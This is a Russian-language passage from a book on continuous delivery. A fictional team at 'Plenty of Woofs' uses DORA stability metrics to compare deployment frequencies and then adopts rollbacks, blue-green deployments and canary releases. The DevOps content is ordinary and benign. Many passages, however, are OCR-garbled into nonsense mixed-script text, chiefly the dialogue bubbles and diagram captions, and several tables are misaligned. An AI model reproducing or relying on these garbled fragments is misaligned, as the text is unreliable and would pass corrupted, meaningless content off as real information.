Метрики DORA для скорости Метрики DORA для стабильности ' 

' 

Скорость оценивается по двум 
метрикам: 

• частота развертывания; 
• время доставки изменений. 

'
' 

Стабильность оценивается по двум 
метрикам: 

, , • время восстановления работоспо-
' ' собности сервиса; 

• частота сбоев при изменениях. · - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ·  · - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ·  
Мы рассматривали метрики DORA с акцентом на скорости, оцениваемой частотой 
развертывания и временем внесения изменений. Две другие метрики касаются ста
бильности, и именно их в первую очередь учитывают разработчики Plenty of Woofs 
при анализе проблемы отказов: 

• Время восстановления работоспособности сервиса показывает, сколько времени 
требуется компании для восстановления после сбоя. 

• Частота сбоев при изменениях определяет, какой процент развертываний при
водит к сбою. 

Как вы, наверное, помните, члены команды DORA также на основе этих метрик соста
вили классификацию команд по их производительности, распределив их по четырем 
категориям: низкоэффективные, среднеэффективные, высокоэффективные и супер
эффективные (элитные). Вот как выглядит таблица значений метрик стабильности: 

Чмо случилось 8 r.ромежумке бремени ом одной недели до 6 мtсяцеб? Эмом ро.зрь18 
VIOKO.ЗЫ60.eWI, ЧW\О r.epeuм!A OW\ НиЗКОZО уро8нЯ К среднему не8оЗМОЖНО ЗО. СЧеМ r.pOCW\OZO 
сокращения Времени боссмо.нобления ро.бомосr.особносми с 6 мtсяцеб до S; необходимо 
но.йми сr.особ боссмо.но.блибо.мь ро.бомосr.осооносмь сер8исо. за 1- неделю. 

\ \ 
Метрика Супер- Высоко- Средне- Низко-

1 
эффективные эффективные эффективные эффективные 

Время восстановления Менее одного Менее одного 
' 

От одного Более шести 
работоспособности часа дня ДНЯ ДО ОДНОЙ месяцев 
сервиса недели 

Частота сбоев при 0- 1 5% 1 6-30% 1 6-30% 1 6-30% 
изменениях � ' 

К.оманда DORA быябило. ябное различие между суr.ерэффекми8ными командами и Все 
ми осмальными, r<ри эмом б Высоко -, средне - и низкоэффекмибных командах r.po 
цeнWI 0W1казоб оказался r.римерно одинакобым. 
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� Что делать, если у меня не сервис? 

Если вы работаете над проектом, который не размещается и не запускается 
как сервис, может быть сложно понять, применимы ли к нему эти метрики. 
(Подробнее о видах программных продуктов, которые можно поставлять, 
в том числе библиотеках, двоичных файлах, конфигурациях, образах и сер
висах, см. в главе 1 . )  

Возможно, вам и не  нужна вся эта глава. Стратегии, описанные в ней, 
специфичны для конкретного развертывания, поэтому, к сожалению, они, 
скорее всего, не очень вам помогут, но сами метрики DORA все же приме
нить получится. Кроме того, не забывайте, что, как уже обсуждалось в главе 
1, когда мы говорим о непрерывном развертывании, на самом деле мы имеем 
в виду непрерывный релиз, когда каждое изменение становится доступно 
пользователям по мере добавления. 

Метрики, связанные со стабильностью, можно применить к другим типам 
ПО (например, библиотекам и двоичным файлам) следующим образом: 

Частота сбоев при изменениях остается прежней, но рассматривайте ее 
не как процент развертываний, которые вызывают сбой, а как процент 
релизов, которые содержат достаточно серьезную ошибку, чтобы для ее 
исправления требовался выпуск патча (то есть значительный баг, исправ
ление которого нельзя отложить на потом и включить в более поздний 
релиз) . 
Время восстановления работоспособности сервиса становится временем 
релиза исправлений, то есть временем, которое потребуется, чтобы вы
пустить патч в открытый доступ с момента сообщения о серьезном баге. 

Всегда ли значения этих метрик применимы для супер- ,  высоко- ,  средне
и низкоэффективных команд? Принцип остается тем же: чем быстрее вы 
обнаруживаете проблемы и выпускаете их исправления для пользователей, 
тем стабильнее ваш продукт. 

Однако решения для автоматизации процессов, позволяющие значительно 
улучшить эти метрики для сервисов (о чем вы узнаете в этой главе) ,  часто 
недоступны для других видов ПО, кроме сервисов. Иногда можно автома
тизировать откат (возврат) коммитов, но это не просто вопрос отката к пре
дыдущей версии, как в случае с развернутым ПО. Зачастую без исправления 
ошибки обойтись не получится, поэтому стремиться к суперэффективным 
показателям времени восстановления работоспособности или времени до
ставки изменений менее часа может быть нецелесообразно. 
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Метрики DORA для сайта Plenty of Woofs 
Обе DОRА-метрики стабильности могут зависеть от метрик скорости, поэтому (как 
вы сейчас увидите) оценивать метрики стабильности в отрыве от метрик скорости 
не получится. Ниже приведен полный список метрик и их значений для супер- ,  
высоко- ,  средне- и низкоэффективных команд: 

Метрика Супер- Высоко- Средне- Низко-
эффективные эффективные эффективные эффективные 

Частота разверты- Несколько раз От одного От одного Реже, чем раз 

вания в день раза в неделю раза в месяц в полгода 

ДО ОДНОГО до одного раза 

раза в месяц в полгода 

Время доставки Менее одного От одного От одного Более полу-

изменений часа ДНЯ ДО ОДНОЙ месяца до года 

недели полугода 

Время восстановnе- Менее одного Менее одного От одного дня Более 6 ме-

ния работоспособно- часа дня до одной не- сяцев 

сти сервиса дели 

Частота сбоев при из- 0- 1 5% 1 6-30% 1 6-30% 1 6-30% 
менениях 

А это значения, которые команда Plenty of Woofs определила для своей произво
дительности: 

• Частота развертывания - раз в неделю ( высокая). 

• Время доставки изменений - менее одной недели (высокий показатель) .  

• Время восстановления работоспособности сервиса - минимум один день, но  
чаще несколько дней (среднее) . 

• Частота сбоев при изменениях - в среднем за год составляет 1 0  % (одно из 
каждых десяти развертываний) .  В последнее время это скорее одно из трех 
развертываний, или около 33 % (ниже максимального значения для высоко- ,  
средне- и низкоэффективных команд, поэтому можно с уверенностью считать, 
что это соответствует низкой эффективности) .  

Компания Plenty of Woofs демонстрирует высокую эффективность, если рассма
тривать только метрики скорости, но при учете метрик стабильности скатывается 
к средним и низким показателям .  
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А если делать развертывания реже? 
Арчи и Сарита работают над проектом Plenty of Woofs и вызвались решить проблему 
сбоев, с которой столкнулась команда. Арчи обращается к Сарите с идеей о том, что 
можно сделать. 

У нас началцсь сбоц /l\pt.t 
каждом W1peW11:>eм раз8ерW1Ы -

8ан ц ц .  MoжeWI, мы /l\pOCWIO 
де/1\ЛОLtМ СЛLt/МКОМ ЧaCWIO? 

Ну , мы /1\ро8одцм 
раз8ерW1ы8анце одцн раз 

8 неделю - t.t мцнцмум раз 
8 Wlpt.t неделц нам /l\pt.txoдt.t WICЯ 

t.tC/l\pa8ляW11:> ощцбкц.  А ecлt.t 
дe/l\ЛOt.tWlt> реже? Тогда t.t сбоц  

случалцсь бы реже. 

нащц /l\OKaЗaWleЛt.t 
в 1.1елом? 

Арчи предлагает проводить развертывание (деплой) раз в месяц, а не раз в неделю, 
и предположить, как при этом будут выглядеть метрики DORA. 

Сарита для начала пытается разобраться с частотой сбоев при изменениях, 
анализируя несколько предыдущих развертываний, которые привели к сбоям, 
и сравнивая показатели с тем, что было бы, если бы деплой проводился раз в месяц: 

30 сенм. 7 окм. 1.4 окм. .2.1. окм. 
Ае/1\Лои :  Ае/1\Лои: Ае/1\Лои :  Ае/1\Лои: 

ycvi.ex ус/1\ех сбои ус/1\ех 

"' t t ) •  
Точно мак же следующее ежемесячное 
развермыванце будем включамt> 
эмц чемыре развермыванця,  одно 
LtЗ коморых вызвало сбои. 

Каждое из ежемесячных развертываний включало бы как минимум один набор из
менений, вызывающий сбой. При ежемесячном развертывании их метрики DORA 
стали бы такими: 

• Частота развертывания - раз в месяц (средняя). 

• Время доставки изменений - около месяца (среднее). 

• Время восстановления работоспособности сервиса - может остаться на уровне 
одного или нескольких дней, а может и ухудшиться ,  если придется работать 
с большим количеством изменений одновременно (в лучшем случае среднее) .  

• Частота сбоев при изменениях - если посмотреть на предыдущие сбои и со
поставить их с датами ежемесячных релизов, то при переходе на ежемесячные 
релизы сбои будут при каждом развертывании, то есть 1 00% (крайне низкая) .  
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А если делать развертывания чаще? 
Арчи предположил, что менее частое развертывание может решить проблему сбоев 
на сайте Plenty of Woofs, но если посмотреть на метрики DORA, то становится ясно, 
что эффективность работы команды при этом снизится по всем параметрам: 

• Частота развертывания - с одного раза в неделю ( высокая) до одного раза 
в месяц (средняя). 

• Время доставки изменений - от срока менее недели (высокий показатель) до 
примерно одного месяца (средний показатель) .  

• Время восстановления работоспособности сервиса - несколько дней или хуже 
(в лучшем случае среднее) . 

• Частота сбоев при изменениях - поскольку ежемесячные развертывания будут 
включать в себя изменения по крайней мере четырех еженедельных разверты
ваний (треть из которых вызывает сбои), то все ежемесячные развертывания, 
скорее всего, будут приводить к сбоям: 1 00 % (крайне низкая) . 

Чтобы понять возможный результат, они глубже изучили одно из недавних раз
вертываний, которое вызвало сбой. Они обратили внимание, когда именно были 
внесены изменения, вошедшие в это развертывание: 

nямн1.ща, 
8 окм. 

Дба 
изменения 

СЛиМЫ 

понедельник, 
1-1- окм. 

Одно 
изменение 

СЛи МО 

Вморник, 
1-2 окм. 

Дба 
изменения 

СЛи МЫ, одно 
бызбало 

Среда, 
1-3 окм. 

Три 
изменения 

сли мы 

Чемберz, 
1-4 окм. 

Одно 
изменение 

СЛиW\О 

� t т t )� 
Разбермь1бание 1-4 окмября бключало б себя изменения за 5 дней. Если бы 
разбермыбание "'рободилось б каждый из эмих дней ,  скорее бсеzо, б резульмаме 
было бы чемыре !JСl'lешных разберw..ыбания и одно со сбоем. 
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Ежедневные развертывания и сбои 
Рассматривая сбой о т  1 4  октября, Сарита и Арчи заметили, что изменение, вызвав
шее сбой, было внесено во вторник, поэтому если бы они выполняли ежедневные 
развертывания, то сбой произошел бы только в этот день. Они расширяют анализ 
и рассматривают последние восемь развертываний, каждое из которых содержит 
изменения за 5 рабочих дней, и на основании даты внесения изменений со сбоем 
вычисляют, какой процент ежедневных развертываний может вызвать сбои: 

• 2 сентября (сбой) - одно ежедневное развертывание из пяти могло привести 
к сбою. 

• 9 сентября (успешно) - пять успешных ежедневных развертываний. 
• 1 6  сентября (сбой) - два ежедневных развертывания из пяти могли привести 

к сбою. 
• 23 сентября (успешно) - пять успешных ежедневных развертываний. 
• 30 сентября (успешно) - пять успешных ежедневных развертываний. 
• 7 октября (успешно) - пять успешных ежедневных развертываний. 
• 1 4  октября (сбой) - одно ежедневное развертывание из пяти могло привести 

к сбою. 
• 21 октября (успешно) - пять успешных ежедневных развертываний. 

За эти 8 недель из 40 ежедневных развертываний 4 привели бы к сбою: 4 / 40 = 10 о/о 
развертываний вызвали бы сбой. В целом метрики DORA при ежедневном развер
тывании выглядели бы так: 

• Частота развертывания - ежедневно (почти наивысшая, но пока только вы
сокая) . 

• Время доставки изменений - менее одного дня (также почти наивысший, но 
пока только высокий показатель) .  

• Время восстановления работоспособности сервиса - нельзя определить точно, 
скорее всего, диагностика и устранение проблем займут столько же времени, 
сколько и раньше, так что по-прежнему один или несколько дней (среднее). 

• Частота сбоев при изменениях - исходя из последних восьми еженедельных 
развертываний, похоже, что только 10 о/о развертываний приведут к сбоям (наи
высшая) . 

Увеличение количества развертываний не изменит количество сбоев, но уменьшит 
вероятность того, что отдельное развертывание будет заканчиваться сбоем. 

',ф� ВАЖНО 
Более частые развертывания снижают степень риска при каждом развертыва
нии. В каждом развертывании будет меньше изменений, поэтому вероятность 
того, что в развертывании окажется изменение, которое вызовет сбой, ниже. 
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Как  увеличить частоту развертываний 
Хотя Сарита и Арчи еще не уверены, как 
увеличение частоты развертываний помо
жет справиться со сбоями, они понимают, 
что оно повысит производительность ком
пании с точки зрения метрик DORA. Они 
начинают планировать переход к ежеднев
ным деплоям и надеются, что в процес
се получат дополнительные данные. Они 
хотят критически оценить свой процесс 
развертывания, который сводится к об
новлению нескольких деплоев веб-сервера 
Plenty of Woofs: 

Трех экземмяроб 
беб-сербера дOCWICIW\OЧHO, 
ЧW\001:>1 Cl'\pt161AWll:>CЯ 
с наzр!:Jзкой на сербис 
Plel'\ty of Woofs. rто мере 
росма 1'\Оl'\улярносми 
CCIUWICI paзpaOOWIЧIAKCIM 
можем 1'\ОW1ребо6ам1:>ся 
добабим1:> бол1:>ше 
экземмяроб и/или 
IAЗ!:JЧIAWll:> бозМОЖНОСWllА 
a6W10MCICUAWICI01Apo6aн1AЯ. 

Веб-сервер 
Plenty ofWoofs 

Веб-сервер 
Plenty ofWoofs 

Веб-сервер 
Plenty ofWoofs 

Команда Plenty of Woofs масшта
бирует свой веб-сервер вручную. 
Многие виды облачного раз
вертывания позволяют масшта
бировать развертывания без 
участия человека (это называет
ся автомасштабированием) . 
Здесь мы не будем подробно 
обсуждать вопросы масштаби
рования. 

Текущий процесс развертывания выглядит так: 

1. Раз в неделю, каждый четверг в середине дня, запускается деплой. 
2.  Все члены команды должны быть доступны в четверг и пятницу (а возможно, 

и на выходных) для решения любых возникающих проблем. 
3 .  Во время развертывания метрики экземпляров веб-сервера отслеживаются 

с помощью стороннего сервиса CellphoneDuty, который уведомляет команду, 
если значения метрик плохие. 

4.  Когда возникает проблема, вся команда анализирует ее и принимает решение. 
После того как исправление вносится в главную ветку, происходит сборка 
и деплой веб-сервера повторяется . 
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Устраняем недостатки разработки 
Оценив процесс разработки Plenty of Woofs, Сарита резюмирует, что существуют две 
основные проблемы, которые действительно замедляют его и влияют на метрики: 

• Устранение проблем занимает очень много времени, порядка нескольких дней. 
• Слишком много ошибок упускается в процессе непрерывной интеграции - и не 

просто ошибок, а серьезных багов, приводящих к сбоям. 

Очен" V\ЛОХО, ЧWIO WlaK мноzо 
баzоб l'\OV\aдaeWI на V\родакwен, 

но мне кажеWIСЯ, ЧWIO СV\ерба надо 
налаОIАW\/:) 6/:)tV\ycк на V\родакwен, 
ЧWlобы 6occW1aнo61AW1/:) до6ерuе 

мл"зо6аW1елеu. И ЧWlобы 
paзpaбoWIЧIAKIA CMOZЛIA 

6ыдохнуW1"! 

Помимо того что сбои замедляют работу и мешают деплоить часто, развертывания 
очень напрягают команду. Все стали бояться четвергов ! Сарита и Арчи поставили 
цель: 

Найти способ устранять ошибки в выпускаемом продукте так, чтобы на это 
не уходили часы (или дни!) .  

!Когда продакшен снова станет стабильным, Арчи и Сарита смогут перейти 
к тому, как предотвратить появление багов, используя методы, описанные 
в главах 3-7! 
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Скользящие обновления 
Первая проблема, за  которую принимаются Сари
та и Арчи, заключается в том, что на исправление 
багов в продакшене уходит от нескольких часов 
до нескольких дней. Чтобы найти решение, они 
подробно изучают, как именно происходит раз
вертывание обновлений на трех экземплярах веб
сервера Plenty of Woofs. 

Разработчики Plenty of 
Woofs проводят сколь
зящие обновления 
вручную, но многие 
среды развертывания 
(например, Kubernetes) 
предоставляют функцио
нальность для таких об-

При тщательном анализе становится ясно, что новлений по умолчанию. 
команда Plenty of Woofs использует скользящее 
обновление экземпляров веб-сервера. По очереди 
на каждом хосте останавливается текущий контейнер веб-сервера и запускается 
новый экземпляр (с новой версией) .  После обновления одного хоста обновляется 
следующий, и так далее, пока не будут обновлены все. 

До скользящего 
обновления 

rтервь1й. экземмяр 
обновляеWIСЯ 

с версии :1..3 . .2 
до версии  1..4.0." 

О словарик 

. . .  зaWleM вWlорой. 

а 
а 
а 

. " и  наконец, 
W1peW1ьe, · 

заключиW1ельное 
разверW1ывание. 

а 
а 
а 

Скользящее обновление (rolling update) означает, что экземпляры обновляются 
до новой версии по очереди. В любой момент времени хотя бы один экземпляр 
сервиса запущен и работает, что позволяет избежать простоя всего сервиса. 
Более простой способ - снести все экземпляры и обновить их одновременно, 
но в таком случае сервис не будет работать, пока происходит обновление .  
Во время скользящего обновления часть пользователей подключается к более 
новым экземплярам сервиса, а часть - к старым (в зависимости от того, как 
направляются запросы к этим экземплярам) .  
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Исправление багов при скользящем 
обновлении 
Если обнаруживается баr, команда Plenty of Woofs осуществляет поиск исправле
ния, а затем выпускает новый релиз, содержащий это исправление, по-прежнему 
используя скользящее обновление: 

rтер61:J1й экземмяр " . и  зaWleM Jl\ОСледний, 
обновлен ЭWIO означаеW1, 

Ао 61:J1хода Jl\ромW1ченной ЧWIO НеJl\ОЛадка 
Jl\QW\Чa Версией 1...4. j. " .  ".зaWleM 6W1орой усW1ранена. 

а 3 3 3 
а а 3 3 
а а а 3 

И конечно, скользящее обновление для исправления багов запускается только по
сле того, как баr обнаружен и исправлен и новая версия веб-сервера собрана. Таким 
образом, общее время устранения сбоя в работе сайта Plenty of Woofs составляет: 

(Время на исправление баrа) + (Время на создание новоrо релиза) + 
+ 3 х (Время на обновление экземпляра) 
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Откаты 
Если посмотреть на то, как происходит развертывание и куда уходит время, станет 
очевидно, что большая часть времени тратится на ожидание нового релиза: 

(Время 
на исправление бага) 

Часv1 или дни 

(Время на создание + нового релиза) + 3 х 
(Время на обновление 

экземпляра) 

\ � 40 мину"' \ Минумо 

Для ООНобленця HGIM H!JЖHGI 
W\ОЛtЖО pt:100WIQIOЩQЯ берсця бео

серберt:1, t:1 мь1 бедь уже знt:1ем, 
чwio v.редыдущt:1я его берсця pt:1oowit:1ewi. 

Чwio, еслц оонобляw�ь экземv.ляр 
до r.редыдуще!А берсцц :> 

Сарита и Арчи поняли, что когда развертывание приводит к сбою, не нужно остав
лять сервис в неработающем состоянии и ждать исправления. Вместо этого можно 
сразу откатиться к предыдущей версии, которая, как известно, работает. 

Поэтому если они производят развертывание версии 1 .4.0 и оно завершается сбо
ем, вместо того, чтобы ждать версии 1 .4. 1 (то есть исправленной), можно вернуться 
к предыдущей версии ( 1 .3 .2 ) .  Как только ошибка будет исправлена и версия 1 .4. 1 
станет доступна, сервис можно будет обновить с версии 1 .3 .2  до версии 1 .4 . 1 .  

Если Версия 1. .4.О 
Bv1зv1Baew. сбо!А, 

Вv1млняем ow.кaw. 
до Версии 1..3 .2 .  

3 
1<.ак W\OЛtJKO 

Версия 1. .4 .1. будем 
zow.oBa, V�.роизВодим 

обноВление 
с Версии 1..3 .2 сразу 

до Версии 1..4.1. .  

3 
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Откат = немедленное улуч шение 
Если команда Plenty o f  Woofs начнет применять стратегию отката при возникно
вении сбоев, время восстановления работоспособности сервиса резко сократится 
и будет равно времени, необходимому для отката до предыдущей версии при сколь
зящем обновлении: 

(Врем" не мсnревnенме беrе) + (Врем" не соsденме новоrо penмse) + 
+13� (Вр;;..�· ;� �б�;�пение з����;;;.-;.р�) ] - - -··- - -- -- ---- --------- - - - - -· - - - --- - - - -----� 

(М'"У"'" 
Время восстановления сокращается с нескольких дней до нескольких минут. Это 
сразу улучшает показатели DORA. Время на восстановление работоспособности 
сервиса уменьшится с нескольких дней или более до нескольких минут. 

Метрика 

Время восстановnения 
работоспособности сер-
виса 

Суnерзффек- Высокоэффек- Среднеэффек- Низкоэффек-
тивные тивные тивные тивные 

Менее одно- Менее одного От одного Более 
го часа дня ДНЯ ДО ОДНОЙ 6 месяцев 

� недели � 
\ / 

Команда Plenty oF Woofs сразу же nepeuдeWI 
цз среднеэффекW1ц8ни1х 6 суnерэффекW1ц8ни1е! 

Сарита и Арчи немедленно сообщают о своем открытии остальным сотрудникам, 
и Plenty of Woofs вводит политику немедленного отката при возникновении сбоев. 
Это означает, что основной баг остается в коде и должен быть исправлен, но теперь 
это можно сделать спокойно в рабочее время, а не впопыхах, когда нужно как можно 
быстрее исправить рабочую версию. 

О словарик 
Чтобы эффективно использовать откаты, нужна стратегия. Стратегия от
ката - это автоматизированный, задокументированный и протестирован
ный процесс, указывающий, как выполнять откат. К этому процессу следует 
относиться так же серьезно, как к любому другому процессу разработки или 
развертывания, если не более, потому что откат будет происходить в наиболее 
чувствительное для сервиса время (когда он неисправен и создает проблемы 
у всех пользователей) .  Автоматизация и сопутствующие тесты (и даже «По
жарные учения» для отработки отката) позволят проводить процесс гладко 
в самых критических случаях. 
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� А что насчет отката данных? 

Когда развертывание включает изменения данных, откат становится немного 
сложнее. И что вполне естественно, большинство сервисов в той или иной 
форме содержат данные, схему взаимодействия с которыми необходимо об
новлять по мере добавления новых функций и исправления багов. 

К счастью, эта проблема решаема и не помешает использовать откаты. 
Чтобы обеспечить безопасное обновление (то есть развертывание) и откат 
по мере необходимости, потребуется внедрить несколько политик и реко
мендаций в процесс: 

Версионирование схем данных - подобно тому, как в предыдушей главе мы 
рекомендовали управлять версиями продукта (и семантическое версио
нирование здесь тоже может пригодиться) ,  каждое изменение схемы базы 
данных должно сопровождаться соответствующим изменением версии. 
Создание скриптов обновления и отката для каждого перехода на новую 
версию - каждое изменение схемы базы данных должно сопровождаться 
двумя скриптами (или другими средствами автоматизации): одним - для 
перехода от предыдущей версии к новой и вторым - для отката с новой 
версии к предыдущей. Если вы создаете их для каждого изменения версии, 
вы сможете легко откатиться назад, насколько это необходимо, применяя 
скрипты по очереди при откате назад или для перехода на более позднюю 
версию. 
Обновление данных и сервисов по отдельности - если объединять об
новление данных и сервисов и выполнять их одновременно, откат назад 
станет проблематичнее и чаще будет приводить к ошибкам. Выполняйте 
обновление по отдельности. Когда вы вносите изменения, сервисы долж
ны без ошибок обрабатывать как старые, так и новые версии данных. 
Добиться этого непросто, но это стоит сделать, чтобы упростить процесс 
и понизить риски. 

Основная цель внедрения этих политик - осуществлять развертывание 
и откат изменений данных таким же образом, как для программ: проводить 
развертывание, когда требуется обновление, а если что-то пойдет не так, от
катить все назад. 

Аналогично, когда изменения функциональности требуют соответству
ющих изменений в структуре данных, можно обновить БД, добавив необхо
димые изменения. Опять же, постарайтесь не вносить эти изменения одно
временно, чтобы откаты выполнялись независимо друг от друга. 

В этой книге мы не будем подробно говорить о том, как работать с данны
ми; чтобы узнать больше по этой теме, обратитесь к источникам, посвящен
ным эффективному управлению данными. 
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Политика откатов в действии  
Новая политика немедленного отката при возникновении сбоев (чтобы не ждать, 
пока команда создаст исправление) уже сэкономила Plenty of Woofs немало време
ни - и нервов! По мере внедрения этой политики Сарита и Арчи собирают данные 
и повторно анализируют метрику DORA «Время восстановления работоспособности 
сервиса», чтобы подтвердить свою теорию о том, что это время сократится до минут 
и они попадут в категорию суперэффективных компаний. Изучая, что на самом деле 
происходит во время сбоя, они обнаружили, что общее время с момента начала сбоя 
до момента восстановления сервиса таково: 

• Скользящее обновление трех экземпляров занимает 5- 1 5  минут как при переходе 
к следующей версии (развертывание/обновление), так и при переходе к преды
дущей (откат) .  

• Сбои возникают в начале скользящего обновления (после обновления первого 
экземпляра любой трафик, попадающий на этот экземпляр, начнет вызывать 
сбои) .  

• Для обнаружения сбоя требуется не менее 3 минут, а иногда и 1 0  минут. 
• Как только становится ясно, что произошел сбой, инициируется откат. Сам от

кат представляет собой скользящее обновление всех трех экземпляров, и для его 
завершения потребуется еще 5- 1 5  минут. 

Таким образом, общее время от начала сбоя до решения проблемы составляет: 

(Обновление до более + (Время + (Откат 
обновления назад) высокой версии) 

с_ >S м"нуw. 

на обнаружение сбоя) 

\ 3 -to м""У"' ( 5-Н М""У"' 

Таким образом, общее время от начала сбоя до его устранения составляет от 
13 (5 + 3 + 5) до 40 ( 1 5  + 10 + 1 5) минут. Это означает, что метрика DORA «Время вос
становления работоспособности сервиса» находится в интервале от 13 до 40 минут. 
Время на восстановление в 40 минут позволяет отнести компанию Plenty of Woofs 
к категории суперэффективных: 

Метрика Суперэффек- Высокоэффек- Среднеэффек- Низкоэффек-
тивные тивные тивные тивные 

Время восстановnе- Менее одного Менее одного От одного дня Более 6 ме-
ния работоспособно- часа дня до одной не- сяцев 
сти сервиса дели 
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Сине-зеленые развертывания 
Хотя метрика времени восстановления работоспособности значительно улучши
лась, 40 минут потенциально означают 40 минут ошибок на стороне пользователя, 
а между максимальным значением в 40 минут и верхним пределом в 1 час не такая 
большая разница. Если что-то в процессе замедлится (например, если добавить еще 
несколько экземпляров сервера) , то команда снова станет просто высокоэффектив
ной. Сарита предлагает сосредоточиться на самом времени выполнения скользящих 
обновлений и посмотреть, можно ли что-то улучшить: 

(Обновnение до боnее 
высокой версии) 

+ (Время на + 
обнаружение сбоя) 

\ 3 -::!.0 минум  

(Откат обновnения 
назад) 

5-::!.5 минум 

Сам процесс скользящего обновления добавляет от 6 до 20 минут ко времени про
стоя . Одним из способов сократить его является использование сине-зеленого 
развертывания вместо скользящего обновления. При сине-зеленом развертывании 
(также называемом красно-черным развертыванием) вместо обновления одного 
набора экземпляров по месту его размещения создается абсолютно новый набор 
экземпляров, который и обновляется. Только после того, как эти экземпляры будут 
готовы, трафик переключается с оригинальных экземпляров («синих», хотя на самом 
деле цвет значения не имеет) на новые («Зеленые» ) .  

Трафцк V\родолжаем v l .3 .2  v l .4.0 НаV\ра6ЛЯW\/JСЯ на 
исходнtJ1е экзеМV\ЛЯ - 1<.ак W\OЛ/JKO 
pt71, мка создаюw.ся нo6tJ1e экземмярt71 
нo6tJ1e. zow-.06tJ1, w.рафцк 

"----. vl .3 .2  vl .4.0 
наV\ра6ляеw.ся 
на нцх. 

� / 
Если с но61J1ми 
экземмярами vl .3 .2  vl .4.0 6озникаюм V\робле -
MtJI, мо мрафик 
V\росмо наV\ра6ляем-
с я  обрамно на ИсходнtJ1е (синие) Ho6tJ1e (зеленtJ1е) 
исходнtJ1е экземмярt71. экземV�.лярtJ1 экземмярt71 

Если с новыми экземплярами возникнут проблемы или произойдет сбой, то исправ
ный набор экземпляров предыдущей версии будет продолжать работать. Откатиться 
назад будет так же просто, как переключить трафик на исходный набор экземпляров! 
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Быстрое восстановление при сине-зеленом 
развертывании 
При сине-зеленом развертывании должно быть достаточно оборудования, чтобы 
одновременно запускать два полных набора экземпляров. Такой подход может ока
заться нецелесообразным, если у вас собственное оборудование (если только у вас 
нет запасного) .  Но если вы пользуетесь услугами облачного провайдера, выделить 
дополнительные ресурсы довольно дешево и легко; за них нужно будет платить 
только в период развертывания. Сарита и Арчи оценили, сколько времени займет 
восстановление работоспособности сервиса, если Plenty of Woofs начнет использо
вать сине-зеленые развертывания вместо скользящих обновлений: 

(Перенаправление трафика + 
на новые экземпляры) 

(До 1. минуw11:�1 

(Время на 
обнаружение сбоя) 

\ 3 -1.0 MUH!JWI 

+ 
(Обратное 

перенаправление � трафика) 

\ До 1. MUH!JWll:>I 

Время, затрачиваемое на скользящее обновление, теперь заменяется на время, не
обходимое для перенаправления трафика между экземплярами.  Таким образом, 
общее время от начала сбоя до его устранения составляет от 5 ( 1 + 3  + 1) до 12 (1 + 
+ 1 0  + 1 )  минут. 

Сколько времени требуется для перенаправления трафика ? 

Грамотное перенаправление трафика занимает какое-то время. Грубый под
ход - прервать все соединения со старыми экземплярами в момент переключе
ния, что в лучшем случае означает, что все пользователи, подключенные к этим 
экземплярам, увидят ошибку соединения, а в худшем - что прервется какой-то 
процесс, в результате чего какой-то функционал перестанет работать (про
ектирование приложений, позволяющее избежать подобных ситуаций, - это 
отдельная тема ! ) .  Один из способов корректного перенаправления трафика -
позволить экземплярам закончить обработку в течение определенного време
ни, зависящего от того, как долго обычно обслуживаются запросы. (В Plenty 
of Woofs запросы выполняются максимум за несколько секунд, поэтому время 
ожидания установлено на 1 минуту.) Разгрузите экземпляры, позволив всем уже 
начатым запросам завершиться (не прерывайте их, если только они не завер
шатся за время ожидания ! ) ,  и направьте новый трафик на новые экземпляры. 

'-Ф� ВАЖНО 
Политика откатов при возникновении сбоев на продакшен (чтобы не ждать 
исправлений и только затем переходить к новой версии) позволит быстро 
и безболезненно восстанавливать работоспособность продукта. А сине-зеленое 
развертывание, если у вас достаточно оборудования, сделает этот процесс еще 
быстрее и проще. 
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Быстрее и стабильнее с «канарейками» 
Сине-зеленые развертывания вывели время восстановления Plenty of Woof на до
вольно хороший уровень, но Сарита задается вопросом, можно ли сделать еще лучше: 

Максимум 1..:Z. минум V\росмоя -
ЭМО НеV\ЛОХО V\O сравнению с мем, чмо бt>tЛО 

ранt>ще, НО ЭМО бсе рабно означаем, ЧМО 
саам PleV\ty of Woofs 6 эмо бремя не рабома -
ем. Если сбои бндум V\роисходимt> слищком 

----"'-... чаемо, мы ммеряем V\ОЛt>зобамелеlА, 

Да, деlАсмбимелt:>но. 
и они уже не бернумся! 

Возможно, V\роблема 6 мом, чмо 
Mt>t насмраибаем и заV\!jСКаем 

бесt> демоii целиком, V\режде чем 
находим ощибку. Вом если бt>t 

!jЗHt16t1Mt> О HetA paHt>UAt . . .  

Сарита и Арчи определили еще одну подходящую стратегию развертывания: ка
нареечные развертывания (также называемые канареечными выкатываниями или 
канареечными релизами). При канареечном развертывании обновляется один экзем
пляр (называемый канарейкой) и на него направляется небольшой процент трафика. 

болtJщая часW\ь 
W\рафцка будеW\ 
V\O -V\режнему 
наV\рабЛЯW\tJСЯ 
на цсходные \ 
экзеМV\ЛЯры. ""а.. 

а а а\ 3 Небольшой проценм 
мрафцка будем 
напраблямься 
на канареечный 
экземпляр. 

Выражение 
«канареечный 
релиз» пошло 
от канареек, 
которых спуска
ли в угольные 
шахты, чтобы 
определять, есть 
ли там токсич
ные газы. Бед
ные канарейки! -""""""""'"""'"""""""'"'J 

Если «канарейка» в порядке, развертывание можно продолжить либо переключив 
весь трафик на экземпляры с новой версией, либо постепенно создавая все больше 
канареечных экземпляров и направляя на них все больше трафика, пока он не пере
станет поступать на старые экземпляры. Если «канарейка)) не работает, процесс 
можно остановить, а весь трафик переключить обратно на исходные экземпляры. 
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Требования к канареечным развертываниям 
Чтобы канареечные развертывания были успешны
ми, необходимо сделать следующее: 

• Распределить трафик между развертывани
ями (например, настроив балансировщик на
грузки). 

• Измерить и определить успешность разверты
вания (в  идеале автоматически) .  

• Отделить изменения данных от изменений 
функциональности (см. предыдущую врезку 
«А что насчет отката данных�» ) .  

• Определить эффективный процент трафика, 
направляемого на «канарейку». Чтобы сигнал 
об успешности обновления был достоверным, 

Независимо от объема тра
фика, который вы получа
ете, лучше предположить, 
что нескольких секунд 
для сбора данных недо
статочно. Многие метрики 
даже не измерить за это 
время (например, метри
ку «запросы в минуту»), 
а способ агрегирования 
этих метрик предполагает, 
что для четкого понимания 
происходящего нужно оце-

на канареечный экземпляр должно направ- нить несколько значений 
ляться достаточно трафика, но с другой сто- (например, усреднение зна-
роны, количество трафика должно быть ми- чений за минуту позволяет 
нимальным, чтобы пользователи не испытали сгладить разброс данных) . 
неудобств, если что-то пойдет не так. 

